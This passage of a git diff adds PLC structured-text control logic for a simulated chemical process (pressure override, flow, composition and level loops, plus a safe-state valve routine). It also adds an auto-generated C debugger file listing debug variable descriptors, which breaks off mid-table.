: REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), 